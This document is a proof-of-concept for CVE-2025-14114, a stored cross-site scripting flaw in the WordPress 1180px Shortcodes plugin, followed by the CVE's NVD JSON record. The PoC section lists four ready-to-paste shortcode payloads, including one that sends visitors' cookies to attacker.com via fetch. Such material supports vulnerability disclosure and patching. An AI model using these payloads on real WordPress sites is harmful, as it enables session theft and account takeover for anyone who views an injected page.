CVE-2025-14114

// CVE-2025-14114 PoC - WordPress 1180px Shortcodes Stored XSS // Author: Wordfence Security Team // Affected: 1180px Shortcodes Plugin <= 1.1.1 // Method 1: Using onerror event with img tag [1180px class='" onerror="alert(String.fromCharCode(88,83,83))" data-x="'] // Method 2: Using javascript: protocol in href [1180px class='xss' onclick='alert("XSS")'] // Method 3: Using SVG element [1180px class='"><svg/onload=alert(document.domain)>] // Method 4: Exfiltrate cookies (real attack scenario) [1180px class='"><script>fetch(`https://attacker.com/steal?c=`+document.cookie)</script>'] // The malicious script will execute when any user views the page containing the shortcode

{"cve": {"id": "CVE-2025-14114", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:52.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 1180px Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' shortcode attribute in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin 1180px Shortcodes para WordPress es vulnerable a cross-site scripting almacenado a través del atributo de shortcode 'class' en todas las versiones hasta la 1.1.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/1180px-shortcodes/tags/1.1.1/1180px.php#L115", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/1180px-shortcodes/trunk/1180px.php#L115", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ddf2ca43-a1d5-4809-b8ad-916b23f71a7d?source=cve", "source": "[email protected]"}]}}